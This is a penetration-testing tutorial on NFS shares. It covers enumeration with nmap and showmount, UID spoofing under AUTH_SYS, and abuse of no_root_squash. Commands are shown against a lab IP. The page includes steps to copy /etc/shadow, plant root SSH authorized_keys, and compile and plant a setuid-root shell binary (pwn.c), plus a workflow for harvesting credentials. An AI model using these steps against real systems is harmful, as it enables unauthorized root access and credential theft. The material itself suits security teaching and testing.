Skip to content

NFS

NFS is the Unix-world equivalent of SMB - network-mounted file shares. It uses a different protocol (ONC-RPC) and a different trust model (UID/GID-based, not username/password). NFSv3 authenticates the client computer, not the user; if the network is trusted, that’s enough. If the network isn’t trusted, anyone can pretend to be any UID.

# 1. Service detection
nmap -p111,2049 -sV -sC <target>
# 2. List exported shares
showmount -e <target>
# 3. Mount the share locally
mkdir target-NFS
sudo mount -t nfs <target>:/ ./target-NFS/ -o nolock
# 4. Walk the tree, note UIDs
ls -ln ./target-NFS/
# 5. If root_squash is disabled, write as root
sudo cp /etc/shadow ./target-NFS/some-writeable-dir/

Success indicator: showmount -e returns export paths; mount succeeds; file listing shows real files. If no_root_squash is set, you can write files owned by root on the server.

NFS is built on Sun’s ONC-RPC (Open Network Computing Remote Procedure Call), historically called SUN-RPC. The wire format is XDR (External Data Representation). Two ports matter:

  • TCP/UDP 111 - rpcbind / portmapper. Tells clients which ports to use for specific RPC services.
  • TCP/UDP 2049 - NFS itself, in modern deployments.

NFSv4 simplified this by putting everything on port 2049, eliminating the need for portmapper. NFSv2/v3 still rely on the portmapper to find auxiliary services like mountd, nlockmgr, and nfs_acl.

VersionYearNotable
NFSv21989UDP-only initially. Limited file size (32-bit).
NFSv31995Variable file size, better error reporting, TCP support. Still client-machine auth.
NFSv42000Stateful protocol, Kerberos auth optional, ACLs, single port, NAT-friendly.
NFSv4.12010Parallel access (pNFS), session trunking.

In practice, you’ll most often encounter NFSv3 (still the default on many systems) and NFSv4. v2 is rare but still alive in legacy deployments.

NFS itself has no authentication. The authentication question is delegated to the RPC layer:

  • AUTH_SYS (the common case) - client tells the server “I am UID 1000 in GID 1000, also member of groups 100, 200.” Server takes it at face value. If your local user has UID 1000, you can read files owned by UID 1000 on the share, regardless of who that is on the server.
  • AUTH_NONE - anonymous, even less verification.
  • AUTH_KRB5 (NFSv4 only) - Kerberos-based, actually checks identity.

In the AUTH_SYS world (most deployments), the operator can:

  1. Mount the share
  2. Read which UIDs own which files
  3. Create local users matching those UIDs
  4. Access files as that effective user

That’s the canonical NFS attack pattern. The only thing stopping it is root_squash (covered below) and proper network segmentation.

NFS exports are configured via /etc/exports. The default file is empty:

# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)

The format: <path> <client>(<options>) [<client>(<options>) ...]

A real entry: /mnt/nfs 10.129.14.0/24(sync,no_subtree_check) - exports /mnt/nfs to anyone in the /24 subnet with synchronous I/O and no subtree checking.

Per-host options:

OptionWhat it does
rwRead+write
roRead-only
syncSynchronous writes (slower, safer)
asyncAsynchronous writes (faster, risk of inconsistency on crash)
secureRequire client to use a port below 1024 (default)
insecureAllow clients to use any source port
no_subtree_checkSkip path verification on every request (faster)
root_squashMap UID 0 (root) to UID 65534 (nobody) - default and good
no_root_squashUID 0 stays UID 0 - root-on-client = root-on-server
all_squashAll UIDs are mapped to nobody - most restrictive
anonuid=<n>, anongid=<n>Override the “anonymous” UID/GID used by squashing

root_squash is the security boundary. With it, root on the client mounting the share can’t write files owned by root on the server. Without it (no_root_squash), local root = remote root = full write access to anything.

SettingWhy it’s bad
rw to wide subnetsRead+write to anyone in subnet
no_root_squashLocal root → server root, can write authorized_keys, replace binaries, etc.
insecureClient can use any source port - bypasses old firewall rules that allowed only low ports
nohideIf another filesystem is mounted under an exported dir, it’s exported with the same options
Wide-subnet export (0.0.0.0/0)World-readable file share
Wide-subnet write (* or large subnet with rw)World-writable file share

The most common real-world finding: a share intended for internal team sharing, exported to a /16 or wider subnet (admin shorthand for “everyone in the company”) which actually overlaps with VPN ranges and contractor networks the admin forgot about.

Terminal window
sudo nmap 10.129.14.128 -p111,2049 -sV -sC
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 45837/tcp mountd
| 100021 1,3,4 44629/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)

The rpcinfo NSE script enumerates the portmapper. mountd and nlockmgr ride on random high ports - useful intel because they’re sometimes exposed publicly even when 2049 is firewalled.

Terminal window
sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049
| nfs-ls: Volume /mnt/nfs
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxrwxrwx 65534 65534 4096 2021-09-19T15:28:17 .
| rw-r--r-- 0 0 1872 2021-09-19T15:27:42 id_rsa
| rw-r--r-- 0 0 348 2021-09-19T15:28:17 id_rsa.pub
| rw-r--r-- 0 0 0 2021-09-19T15:22:30 nfs.share
|
| nfs-showmount:
|_ /mnt/nfs 10.129.14.0/24
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /mnt/nfs 30313412.0 8074868.0 20675664.0 29% 16.0T 32000

That id_rsa owned by UID 0 is the kind of find that ends engagements.

Terminal window
showmount -e 10.129.14.128
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24

showmount -a (active mounts) and showmount -d (directories currently mounted by clients) provide additional intel on some servers, though many disable these.

Terminal window
mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock

nolock skips the nlockmgr handshake, useful when the lock service is firewalled or slow. Adding vers=3 or vers=4 forces a specific NFS version.

To mount a specific export rather than the root:

Terminal window
sudo mount -t nfs 10.129.14.128:/mnt/nfs ./target-NFS/ -o nolock
Terminal window
ls -l target-NFS/mnt/nfs/
total 16
-rw-r--r-- 1 cry0l1t3 cry0l1t3 1872 Sep 25 00:55 cry0l1t3.priv
-rw-r--r-- 1 cry0l1t3 cry0l1t3 348 Sep 25 00:55 cry0l1t3.pub
-rw-r--r-- 1 root root 1872 Sep 19 17:27 id_rsa
-rw-r--r-- 1 root root 348 Sep 19 17:28 id_rsa.pub
-rw-r--r-- 1 root root 0 Sep 19 17:22 nfs.share

Two things to notice:

  • cry0l1t3:cry0l1t3 - files owned by a user named cry0l1t3. If you have UID matching cry0l1t3 on your machine, you have full access; otherwise the file is readable but not writable.
  • root:root - files owned by root. With root_squash enabled, your local root can read but not modify these. Without root_squash, you can do whatever you want.

To see numeric UIDs/GIDs directly:

Terminal window
ls -ln target-NFS/mnt/nfs/
total 16
-rw-r--r-- 1 1000 1000 1872 Sep 25 00:55 cry0l1t3.priv
-rw-r--r-- 1 1000 1000 348 Sep 25 00:55 cry0l1t3.pub
-rw-r--r-- 1 0 1000 1221 Sep 19 18:21 backup.sh
-rw-r--r-- 1 0 0 1872 Sep 19 17:27 id_rsa
-rw-r--r-- 1 0 0 0 Sep 19 17:22 nfs.share

UID 1000 = the first interactive user on Linux. UID 0 = root. The mixed-ownership backup.sh (root-owned but group 1000) is interesting - maybe an admin script left writable to a specific user group.

To read/write as a specific UID:

Terminal window
# Create local user with matching UID
sudo useradd -u 1000 cry0l1t3 -m
# Switch to that user
sudo su - cry0l1t3
# Now your file operations on the mount run as UID 1000
cat target-NFS/mnt/nfs/cry0l1t3.priv
echo "added by attacker" >> target-NFS/mnt/nfs/cry0l1t3.priv

This is the textbook NFS abuse pattern. UID-based auth means the client decides who they are, and the server has no way to verify.

Try to read or modify a root-owned file as local root:

Terminal window
sudo cat target-NFS/mnt/nfs/id_rsa
sudo touch target-NFS/mnt/nfs/test-as-root
  • root_squash enabled (the default): touch fails with “Permission denied” even though you’re root - your UID 0 was mapped to nobody/65534.
  • no_root_squash: touch succeeds. The file is created owned by root on the server. From here you have:
    • Write to root-owned cron files
    • Replace SUID binaries
    • Write SSH authorized_keys if /root/.ssh/ is in the exported tree
    • Anything else root can do

Classic path to root on a target running SSH:

Terminal window
# As local root, on the mounted share:
sudo mkdir -p target-NFS/mnt/nfs/.ssh
sudo cp ~/.ssh/id_rsa.pub target-NFS/mnt/nfs/.ssh/authorized_keys
sudo chown root:root target-NFS/mnt/nfs/.ssh/authorized_keys
sudo chmod 600 target-NFS/mnt/nfs/.ssh/authorized_keys
# Now SSH as root with your key
ssh -i ~/.ssh/id_rsa [email protected]

For this to work the NFS export must be /root/ or include /root/.ssh/. Sometimes it’s a different exported directory but with a symlink trail that lets you write to /root/.ssh/ indirectly.

When NFS gives you write access but no path to a privileged account file:

Terminal window
# On your machine, write a setuid-root shell wrapper
cat > /tmp/pwn.c <<'EOF'
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
return 0;
}
EOF
gcc -static -o /tmp/pwn /tmp/pwn.c
# Copy to the NFS share with SUID bit set
sudo cp /tmp/pwn target-NFS/mnt/nfs/pwn
sudo chmod 4755 target-NFS/mnt/nfs/pwn
sudo chown root:root target-NFS/mnt/nfs/pwn

Now any user on the target with shell access who can navigate to that mount path can execute /path/to/share/pwn and get a root shell. Works because the SUID bit is preserved across the NFS mount.

This requires either:

  1. no_root_squash (so you can chown to root and set SUID as root)
  2. Or, you already have a regular shell on the target via another path, and SUID files written through NFS escalate you
Terminal window
sudo umount ./target-NFS

If “device is busy,” cd out of the directory first or use umount -l (lazy unmount).

Read-only mount → credentials → other services:

  1. Mount the share
  2. Grep for password, apikey, BEGIN RSA, etc.
  3. Use found credentials against SSH, RDP, web logins

Writable mount → SSH access via authorized_keys:

  1. Mount the share
  2. Verify exported path includes /home/<user>/.ssh/ or /root/.ssh/
  3. Write your public key as authorized_keys
  4. SSH in

Writable mount → SUID escalation:

  1. Mount with no_root_squash access
  2. Plant pwn.c-style SUID binary
  3. Use it later from a regular shell on the target

NFS for lateral movement:

  1. From a compromised host, mount internal NFS exports
  2. Read other users’ SSH keys, dotfiles, env vars containing tokens
  3. Pivot to other systems with those credentials
TaskCommand
Service scannmap -p111,2049 -sV -sC <target>
NSE NFS scriptsnmap --script nfs* -p111,2049 <target>
List exportsshowmount -e <target>
Active mountsshowmount -a <target>
Mount rootsudo mount -t nfs <target>:/ /mnt/x -o nolock
Mount specific exportsudo mount -t nfs <target>:/export/path /mnt/x -o nolock
Force versionmount -o vers=3,nolock ...
Listing with UIDsls -ln /mnt/x/
Test root_squashsudo touch /mnt/x/test-root
Plant SUIDsudo cp pwn /mnt/x/ && sudo chmod 4755 /mnt/x/pwn
Unmountsudo umount /mnt/x or sudo umount -l /mnt/x